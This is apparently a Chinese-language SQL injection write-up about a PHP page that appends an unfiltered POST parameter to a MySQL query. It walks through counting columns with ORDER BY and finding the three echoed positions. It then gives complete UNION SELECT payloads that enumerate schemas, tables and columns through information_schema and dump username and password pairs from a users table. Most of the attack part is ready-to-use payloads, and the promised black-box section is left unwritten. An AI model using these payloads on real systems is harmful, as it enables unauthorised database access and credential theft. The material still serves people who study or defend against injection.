在这里可以进行白盒or黑盒,就此对两种方法都进行说明。
白盒测试
代码如下:
1 |
|
mysql_fetch_array()函数
定义如下:
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
大致就是将查询到的值以$arr[m]=xx这样的关联数组形式展示出来,且只显示第一行。但关联数组查询的数据会在接下来的行中显示。因此可以使用and 1=2使前面查询不到,就此我们关联查询的就可以显示出来。或者使用limit1,1将第二行读取出来。
三个回显位
1 | echo "<td>" . $arr[0] . "</td><td>" . $arr[1] . "</td><td>" . $arr[2] . "</td></tr>"; |
在网页上共输出了$arr[0],$arr[1],$arr[2]这三个数组,由此可以得知:我们在关联查询时只能在前三位查询,否则即使查询到数据,也不会回显出来。
判断注入类型
1 | @$q = $_POST['sql']; |
在这里接收一个$q参数,并且用.将$q和前面的语句结合在一起。查询语句如下:
1 | SELECT * FROM `mysql`.`user` WHERE `user` = 'root' $q; |
因此在这里可以看作“数字型”注入(原理像,请百度),就此直接在后面拼接上语句即可。
注入参数流程
查找字段数
老方法,既然没有过滤任何关键字。那直接使用二分法排序查询字段数。
1 | 首先order by 30,可以看到有30个字段 |
1 | 在使用order by 50,发现页面发生了变化。证明没有50个字段 |
1 | 就此发现原来是49个字段 |
因为白盒审计已经知道前三位回显,接下来就可以使用基础语法去查询了。
1 | and 1=2 union select x,x,x,4,5,6,7,8,9,,,,,,47,48,49 |
查询数据库
首先看一下关联数组时会用到的数组!
group_concat()函数
将所有查询到的数据都放在一起输出。如总共有10行,都放在一行输出。为什么要这样呢?因为前面用到了mysql_fetch_array()函数,只会读取一行。所以要将数据放在一行中进行读取。
查询数据库
1 | and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 |
查询表
常规操作
1 | and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='ceshi'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 |
查询字段
查询ceshi库content表中的字段
1 | and 1=2 union select 1,2,(select group_concat(ip,':',time) from ceshi.content),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 |
查询ceshi库users表中的字段
1 | and 1=2 union select 1,2,(select group_concat(column_name,'::') from information_schema.COLUMNS where TABLE_NAME='users'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 |
查询数据
查询users表中username 和 passwd的数据
1 | and 1=2 union select 1,2,(select group_concat(username,':',passwd) from ceshi.users),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 |
查询数据
黑盒测试
不想写了嗷,洗衣服去了